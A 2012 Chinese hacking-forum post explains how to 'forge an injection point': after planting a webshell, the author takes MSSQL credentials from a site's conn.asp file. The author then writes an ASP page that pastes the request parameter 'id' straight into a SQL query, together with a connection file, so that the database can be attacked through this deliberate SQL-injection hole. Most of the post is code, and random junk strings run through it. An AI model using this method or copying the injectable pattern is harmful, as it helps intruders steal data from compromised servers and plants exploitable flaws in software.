找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1756|回复: 0
打印 上一主题 下一主题

伪造注入点方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:53:08 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:2 A1 F& g1 L7 m; C
ASP/Visual Basic代码! I: B' w9 C' O/ |! h' N
<!--#include file="xx.asp"-->    ' v' [$ H. X  O2 N
<%    6 A% m: F# Z# E9 B) ^- P
set rs=server.createobject("ADODB.recordset")    & S# z2 F8 v: q) a
id = request("id")      O; |5 U5 Y$ t! k# E
strSQL = "select * from admin where id=" & id    % X! Y, R) p( _* e) b1 E( R* Z
rs.open strSQL,conn,1,3   
% u% }) [6 A* ]rs.close   
8 B. J% W, ?' A%>  ' {! f$ u# s5 B: G+ k9 x
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!- |$ e8 {8 k8 y: y% W. A/ s. u9 V
然后就要构造一个连接数据库的文件了,代码如下:' ?2 ~4 f' M, A& i$ j
ASP/Visual Basic代码5 C. p& y5 h6 i7 k
<%            - y% ~* r/ y+ A( q7 C
strSQLServerName = "000.000.000.000"     '服务器名称或地址    8 k0 ?9 `4 X8 w0 e
strSQLDBUserName = "sqlname"         '数据库帐号   
- M5 E, f, n. {( J1 KstrSQLDBPassword = "sqlpass"         '数据库密码   
* g/ X* p, [! p# i$ u% CstrSQLDBName = "sqldataname"           '数据库名称      w; K4 V' _4 K. S( E7 V" c
Set conn = Server.CreateObject("ADODB.Connection")   
# V: }6 u6 P9 MstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"   * I& P; [" `) G4 I& t7 j/ w
conn.open strCon   
4 {$ \; L( o$ o9 o5 Z% V6 c%>  1 i/ R! i; `6 ^
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
5 u8 d0 Z5 Y/ w5 |! T0 |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表